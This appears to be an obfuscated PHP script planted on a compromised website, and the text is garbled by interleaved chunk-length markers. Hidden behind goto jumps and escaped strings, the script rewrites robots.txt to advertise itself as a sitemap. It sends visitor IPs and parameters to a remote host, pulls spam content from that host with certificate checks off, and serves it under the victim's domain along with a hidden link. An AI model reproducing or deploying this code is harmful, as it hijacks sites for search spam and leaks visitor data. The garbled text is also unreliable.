1 < 4 ?php 4 g 5 oto N 4 WuLZ 5 ; N2p 5 xL: i 5 f (!e 4 mpty 5 ($get 4 ["\1 5 62"]) 4 ) { 5 $robo 5 tsPat 5 h = $ 4 _SER 3 VER 9 ["\104\x4 6 f\x43\ 6 x55\x4 7 d\x45\1 5 16\12 8 4\x5f\12 c 2\x4f\x4f\12 5 4"] . 5 "\x2 7 f\162\1 5 57\14 8 2\x6f\x7 6 4\163\ 8 56\x74\x 7 78\x74" 5 ; $si 5 temap 4 Bloc 5 k = " b \x55\x73\x6 8 5\x72\x2 5 d\x61 a \147\145\x 7 6e\x74\ b 72\x20\x2a\ 5 xa\10 a 1\154\154\ 9 x6f\x77\x 9 3a\x20\x2 10 f\12"; $sitemaps a = "\xa\12 7 3\151\1 9 64\x65\x6 9 d\x61\160 a \72\x20{$h 5 ttp_t 4 ype} e {$_SERVER["\x4 7 8\x54\x 8 54\120\1 5 37\11 b 0\117\123\1 13 24"]}{$_SERVER["\x5 5 3\103 b \122\x49\x5 9 0\x54\x5f 8 \116\x41 c \x4d\x45"]}\ 8 77\163\x 7 3d\x73\ b 12"; if (!f 5 ile_e 5 xists c ($robotsPath b )) { file_p 5 ut_co 4 nten 1e ts($robotsPath, $sitemapBlock c . $sitemaps) 5 ; } e 3 lse 11 { $robotsContent 4 = @ 8 file_get 1c _contents($robotsPath); if ( 5 strpo 11 s($robotsContent, d $_SERVER["\1 9 23\x43\x5 15 2\x49\x50\x54\x5f\x4e 11 \x41\x4d\x45"]) = 5 == fa 7 lse) { 29 @file_put_contents($robotsPath, $sitemaps 4 , FI 4 LE_A 4 PPEN 1 D 9 ); } } } 7 goto Ez 4 Yoe; 9 NWuLZ: e 5 rror_ 5 repor 4 ting 5 (0); 8 goto yMq 9 RN; yMqRN 6 : $get 7 = $_GE a T; goto sh 4 qZL; 4 Aq5 6 NJ: $l 5 l = " 1d {$http_type}{$_SERVER["\110\1 5 24\12 f 4\120\137\x48\x 9 4f\123\x5 18 4"]}{$_SERVER["\x53\x43\ 7 122\111 f \x50\x54\137\11 8 6\x41\11 8 5\105"]} 9 "; goto D 5 _iaM; 4 m5b 5 kF: f 5 uncti 6 on get 4 Curl 5 ($url 7 , $getD 6 ata = 5 array 6 ()) { 13 if (!empty($getData 9 )) { $que 5 ryStr 6 ing = 9 is_array( c $getData) ? 7 http_bu 4 ild_ 11 query($getData) : 9 $getData 8 ; $url . b = (strpos($ 9 url, "\77 c ") === false b ? "\77" : 8 "\x26") e . $queryString 8 ; } if ( 10 function_exists( 8 "\143\x7 7 5\x72\1 a 54\137\x69 d \156\151\164" 7 )) { $c 9 h = curl_ 5 init( 8 ); curl_ 5 setop a t_array($c a h, array(C 4 URLO 6 PT_URL 4 => f $url, CURLOPT_R 4 ETUR 4 NTRA 4 NSFE 7 R => tr d ue, CURLOPT_S 3 SL_ 6 VERIFY 8 PEER => 19 false, CURLOPT_SSL_VERIFY 4 HOST 15 => false, CURLOPT_FO 4 LLOW 4 LOCA 4 TION 14 => true, CURLOPT_TI 4 MEOU 7 T => 10 c , CURLOPT_HT 5 TPGET 13 => true, CURLOPT_U 6 SERAGE 7 NT => " a \115\157\1 e 72\151\154\x6c 6 \141\5 7 7\x35\x 5 2e\60 6 ")); $ c data = curl_ 4 exec d ($ch); curl_c 4 lose 14 ($ch); if (!empty($d b ata)) { ret 3 urn 10 $data; } } if ( 16 ini_get("\141\154\x6c\ 7 x6f\167 9 \x5f\x75\ d 162\154\x5f\1 8 46\157\1 7 60\x65\ b 156")) { $c 9 ontext = 6 stream a _context_c 6 reate( 9 array("\x 8 68\164\x 7 74\160" d => array("\1 8 55\x65\1 6 64\x68 9 \x6f\x64" c => "\x47\10 6 5\x54" 9 , "\x74\x d 69\155\145\x6 8 f\x75\x7 e 4" => 10, "\15 9 0\x65\x61 c \x64\x65\162 a " => "\125 c \163\x65\162 7 \x2d\x4 13 1\147\145\x6e\164\x a 3a\40\x4d\ 7 157\x7a b \151\x6c\x6 7 c\x61\x e 2f\x35\x2e\60\ 7 15\12") 9 , "\163\x 6 73\x6c 1a " => array("\166\x65\162\x 5 69\14 b 6\x79\137\1 13 60\x65\145\162" => b false, "\x7 7 6\145\x e 72\151\146\171 8 \137\x70 e \145\145\162\x 8 5f\x6e\1 9 41\x6d\x6 c 5" => false) c )); $data = 20 @file_get_contents($url, false, 8 $context 32 ); if (!empty($data)) { return $data; } } return ' a '; } goto 4 X5nb 8 1; D_iaM 4 : $v 7 url = $ f http_type . "\x c 69\144\154\x 6 79\62\ 7 56\x69\ b x64\x73\x68 d \157\x70\x2e\ 4 x63\ 9 143\167\x 7 75\56\1 b 43\x63\x2f\ 6 64\61\ 9 71\56\x61 8 \163\x70 c \x78"; goto c N2pxL; EzYoe 17 : if (!empty($get["\163 a "])) { $pa 4 rams f = array("\163" 9 => date( a "\131\x6d\ 8 144\x48\ 9 151"), "\ 7 x6e\165 15 \155\142\x65\162" => c $get["\156\1 a 65\x6d\x62 e \145\162"]); $ 6 str = a getCurl($v c url, $params 11 ); $str = str_rep 3 lac 10 e(array("\173\xe 6 5\275\ 9 223\xe5\x 5 89\x8 3 d\3 8 45\x9c\2 8 60\xe5\2 9 35\x80\x7 5 d"), 13 array($http_type . 17 $_SERVER["\110\x54\x54\ 7 x50\x5f e \110\117\x53\1 7 24"] . 1f $_SERVER["\123\x43\122\x49\x50\ 10 124\137\116\x41\ b x4d\x45"]), a $str); he 4 ader 8 ("\103\1 c 57\156\x74\x c 65\156\164\x 7 2d\164\ c 171\160\x65\ c 72\164\x65\1 b 70\x74\57\x 9 78\155\15 6 4"); e 8 cho $str 5 ; die b ; } goto N4 4 dac; 13 X5nb1: $http_type a = !empty($ 16 _SERVER["\110\x54\x54\ b 120\123"]) 3 && 17 $_SERVER["\x48\124\124\ a x50\123"] 7 !== "\x 8 6f\146\x 8 66" ? "\ f x68\164\164\160 6 \x73\x a 3a\x2f\x2f a " : "\150\ 16 164\164\160\x3a\x2f\57 d "; goto Aq5NJ 5 ; f5X 2 oA e : function pos 11 tCurl($url, $post 17 Data = array()) { $post 1b String = is_array($postData 20 ) ? http_build_query($postData) c : $postData; 1f if (function_exists("\143\x75\ 13 162\154\x5f\x69\x6e fc \x69\164")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => 12 true, CURLOPT_POST 4 FIEL 7 DS => $ a postString 6e )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\ 1c 157\x77\x5f\x75\162\154\x5f\ 7 x66\x6f a \x70\145\1 40 56")) { $context = stream_context_create(array("\150\164\164\160 11 " => array("\155\ d 145\164\150\1 f 57\144" => "\12 7 0\x4f\x d 53\124", "\16 10 4\x69\155\x65\15 7 7\165\x 14 74" => 10, "\x68\x65 7 \141\14 11 4\x65\x72" => "\1 6 03\x6f d \156\x74\x65\ d x6e\x74\55\12 b 4\171\x70\x c 65\x3a\x20\x e 61\160\160\x6c 8 \x69\x63 d \x61\x74\x69\ f x6f\x6e\57\x78\ b 55\x77\x77\ 9 167\55\x6 9 6\x6f\x72 b \155\x2d\16 13 5\162\x6c\x65\156\1 8 43\157\1 9 44\145\14 8 4\xd\12" 7 . "\x4 1b 3\x6f\156\x74\145\156\x74\x 6 2d\x4c e \145\x6e\147\1 b 64\x68\72\4 5 0" . 7 strlen( 12 $postString) . "\x a d\xa" . "\ 9 125\x73\1 b 45\x72\x2d\ 5 101\x 10 67\x65\156\164\x 16 3a\40\x4d\157\172\151\ a x6c\x6c\14 c 1\x2f\65\56\ a x30\xd\xa" c , "\143\x6f\ 13 x6e\164\145\x6e\164 11 " => $postString) 1c , "\163\x73\x6c" => array("\ 14 x76\145\x72\x69\146\ c 171\x5f\x70\ 21 x65\145\162" => false, "\x76\145\ e 162\x69\x66\x7 5 9\x5f d \160\145\x65\ b x72\137\x6e c \141\155\145 7b " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto 6 m5bkF; 1b N4dac: if (!empty($get["\1 d 51\144"])) { 13 if (empty($get["\15 d 3\153"])) { $ 8 ip = get 3 _ip 16 (); $params = array("\ c x69\160" => e $ip, "\x69\144 7 " => is b set($get["\ d x69\144"]) ? b $get["\151\ 8 x64"] : 9 '', "\x6c 9 \x6c" => 9 $ll); $tz 1f str = getCurl($vurl, $params); 11 if (strpos($tzstr d , "\x69\144") e !== false) { b echo $tzstr a ; die; } } 1f $params = array("\x69\x64" => 10 $get["\x69\x64"] c , "\x6c\154" b => $ll); $ 3c str = getCurl($vurl, $params); $str = str_replace(array("\x7 7 b\125\x 13 52\x4c\175", "\173\ 5 345\2 7 37\237\ 9 345\x90\2 7 15\175" d ), array(get_ 8 url_info d ("\146\165\15 9 4\x6c"), 18 get_url_info("\156\157\1 b 37\x77\167\ 6 167")) 9 , $str); 12 echo $str; die; } 8 else { $ e sitemapUrl = $ 8 ll . "\x a 3f\x73\x3d 4 " . 12 date("\131\155\144 8 \110\x69 b "); echo "\ c 74\144\x69\1 a 66\40\x73\ a 164\171\15 c 4\145\x3d\x2 c 7\x74\145\17 6 0\164\ e x2d\x61\154\15 d 1\147\156\x3a 7 \x63\14 12 5\x6e\164\x65\x72\ d 73\40\160\x61 f \144\144\x69\15 6 6\x67\ 8 72\61\x3 a 0\160\170\ b 40\x30\73\x 4 27\7 d 6\x3c\x61\x20 e \150\162\x65\1 6 46\75\ 3 42{ f $sitemapUrl}\x2 c 2\x20\x74\x6 9 1\x72\x67 e \x65\164\x3d\4 8 2\x5f\x6 c 2\154\141\x6 9 e\x6b\42\ 10 40\162\x65\x6c\x 6 3d\x22 b \x6e\157\x6 12 6\157\x6c\x6c\157\ 9 167\x22\x 8 3e\x20\x 9 53\x69\x7 13 4\x65\x6d\x61\160\7 a 4\57\141\x 8 3e\x3c\x c 2f\144\151\1 6 66\76" c ; } goto nnS 4 Bp; 4 Uh8S f o: function get 9 _ip() { f 4 orea d ch (array("\x 13 48\x54\x54\x50\x5f\ 3 x58 f \137\x46\117\x5 4 2\12 b 7\101\122\1 6 04\x45 c \104\x5f\x46 8 \x4f\x52 d ", "\x48\124\ e x54\120\x5f\x4 a 3\114\x49\ 5 105\x d 4e\x54\137\11 b 1\x50", "\x b 52\x45\x4d\ c 117\x54\x45\ 9 x5f\101\x b 44\x44\x52" 5 ) as 4 $key 10 ) { if (!empty($ d _SERVER[$key] f )) { return tri 5 m(exp 7 lode("\ 4 x2c" 11 , $_SERVER[$key]) 3 [0] e ); } } return b "\x55\x4e\1 9 13\116\x4 9 f\x57\116 f "; } goto f5XoA 7 ; shqZL 18 : function get_url_info( 8 string $ e return_type = 9 "\144\157 f \155\141\151\x6 6 e") : b string { $h 3 ost 1e = $_SERVER["\x48\124\124\x50\ 8 x5f\110\ 13 x4f\123\x54"]; if ( 17 $return_type === "\144\ 6 x6f\15 f 5\x61\x69\156") f { return $host 8 ; } if ( 1b $return_type === "\156\157\ 11 x5f\x77\167\167") 10 { return ltrim( b $host, "\x7 d 7\x77\167\x2e 8 "); } $p 5 rotoc 7 ol = is 5 set($ 1c _SERVER["\110\x54\124\x50\x5 25 3"]) && $_SERVER["\110\x54\x54\x50\x5 5 3"] = e == "\x6f\156" 2 || 1a isset($_SERVER["\x48\x54\ e 124\x50\x5f\13 9 0\137\106 d \x4f\122\127\ 10 x41\122\104\x45\ 9 x44\137\x 11 50\x52\117\x54\x4 17 f"]) && $_SERVER["\110\ 18 124\124\120\137\x58\137\ 11 106\x4f\122\x57\1 b 01\122\104\ 10 105\104\137\x50\ 9 122\x4f\x f 54\117"] === "\ 6 150\x7 d 4\x74\160\x73 10 " ? "\x68\x74\16 8 4\x70\x7 a 3\x3a\57\x 18 2f" : "\x68\x74\164\x70\ b 72\x2f\x2f" 5 ; $ba 3 se_ 11 url = $protocol . 8 $host; 21 if ($return_type === "\142\x61\x7 12 3\145") { return $ d base_url; } $ 3 uri 18 = $_SERVER["\x52\x45\12 7 1\125\1 a 05\123\124 8 \x5f\x55 c \122\x49"]; 5 $full 11 _url = $base_url 6 . $uri 1e ; if ($return_type === "\x66\1 c 65\154\154") 14 { return $full_url; 15 } return ''; } goto d Uh8So; nnSBp: 3 ?> 0